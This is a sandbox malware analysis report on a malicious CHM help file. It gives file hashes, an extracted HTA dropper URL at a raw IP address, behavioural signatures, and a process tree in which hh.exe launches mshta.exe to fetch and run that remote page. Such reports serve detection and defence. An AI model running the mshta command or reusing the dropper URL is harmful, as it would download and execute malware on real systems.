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Analysis

  • max time kernel
    79s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/04/2023, 02:08

General

  • Target

    40d6b60a30a8ea1f2911efcef19487e0.chm

  • Size

    100KB

  • MD5

    40d6b60a30a8ea1f2911efcef19487e0

  • SHA1

    78e65b1f2860db8a12630173faa98f2bc184a898

  • SHA256

    ead97a3920ff557299bcd4ccde1770c759263b93b70414258ec9030bbd0cb750

  • SHA512

    83f6d8f4836088d673f3da4e758af69cf9ebe4b1135a39070f0171ea39b57553c616821bc1d2233711ff7525a9ddefd85a5315da2ca11113ff6aa3f69780fbcf

  • SSDEEP

    1536:4bGN5bBPms1O9bKgJPV/EUNN5AkqqZDa6UZrVutluxh1oj6y3uf+/XOtJAMS:tTEsE9GOpfN5ApqZmHrkOh1zyf/X71

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://141.105.65.165/data/8.html

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 5 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\hh.exe
    "C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\40d6b60a30a8ea1f2911efcef19487e0.chm
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" http://141.105.65.165/data/8.html ,
      2⤵
      • Blocklisted process makes network request
      PID:3416

Network

MITRE ATT&CK Enterprise v6

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Downloads